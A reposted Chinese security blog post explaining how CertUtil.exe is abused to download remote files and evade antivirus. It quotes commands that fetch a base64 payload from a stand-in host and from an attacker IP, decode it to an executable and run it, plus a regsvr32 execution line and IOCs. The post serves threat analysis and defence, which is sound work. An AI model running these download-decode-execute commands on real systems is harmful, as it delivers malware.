使用CertUtil.exe下载远程文件

来源:博客园 分类: 文章浏览史 发布时间:2020-06-14 21:30:22 最后更新:2020-06-14 浏览:1016
转载声明:
本文为摘录自“博客园”,版权归原作者所有。
温馨提示:
为了更好的体验,请点击原文链接进行浏览
摘录时间:
2020-06-14 21:30:22

使用CertUtil.exe下载远程文件

证书 https://www.cnblogs.com/17bdw/p/8728656.html

 

1、前言

经过国外文章信息,CertUtil.exe下载恶意软件的样本。

2、实现原理

Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。

CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。

使用语法 :


"certutil.exe -urlcache -split -f [URL] output.file"

Casey Smith(https://twitter.com/subTee) 在2017年就已经公布的相关利用方法。


certutil -urlcache -split -f [serverURL] file.blah

regsvr32.exe /s /u /I:file.blah scrub.dll

3、实际例子

目前在威胁情报平台里已经可以搜索到利用这种手法的相关病毒样本,样本中利用的方法:

4、混淆方式

  • 使用CertUtil + Base64来绕过安全软件

通过Base64对恶意文件进行编码,使恶意代码样本看起来像是无害的文本文件,然后使用CertUtil.exe下载后对其进行解码。下载了文本文件使用“Certutil.exe -decode”命令将Base64编码文件解码为可执行文件。


C:\Temp>certutil.exe -urlcache -split -f "https://hackers.home/badcontent.txt" bad.txt

C:\Temp>certutil.exe -decode bad.txt bad.exe

在F5 Labs上有一篇利用漏洞的文章中提到了利用certutil下载文件的方式攻击Web服务器。Payload部分内容如下:

一旦文件下载并使用certutil进行 base64解码,它将被保存为update.exe并执行。

certutil -urlcache -split -f http://45.77.55.231/update.b64 update.b64&certutil -decode update.b64 update.exe&update.exe

5、样本HASH与分析结果

  • 分析平台分析结果:

https://www.hybrid-analysis.com/sample/87cf118bff58c38bc0d54c1d3fcc553e381df838437a99a2006dd8f726406c16?environmentId=100

https://www.virustotal.com/en/file/1a3cd50fcc7a454025a641ffcc941353b4a7998c36066b399c72cb8cbff61071/analysis/1522278762/

https://www.hybrid-analysis.com/sample/4faf0c88f41121038709e9a9d134736dfadf6e1f1f4fdb6812fc69818a9e8572?environmentId=100

https://www.hybrid-analysis.com/sample/3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c?environmentId=100
  • IOC(Indicators of Compromise)

    • IP:
45[.]77[.]55[.]231
181[.]214[.]87[.]240
181[.]214[.]87[.]241
148[.]251[.]133[.]246
    • 文件名与HASH值:
update.b64: 66107b01bc93c8d4cf2e8a6a8faffb56
update.exe: 5bb5d3cb837d97174eddc681ca98aa80
msi64.zip: 8d8b8abe93aea52f9865f045a49912ae
SearchIndexer.exe: 1dd8ea5dd6975eb3d0dd14d71d1a404d
mssearch.exe: 47d3a5023d0cbe76a030bfac7bcfe2f2

6、参考

https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/
https://f5.com/labs/articles/threat-intelligence/malware/old-dog-new-targets-switching-to-windows-to-mine-electroneum
https://www.bleepingcomputer.com/news/security/regsvr32-can-be-used-to-install-ransomware-through-jscript-installers/

 

=========================== End

 

php技术微信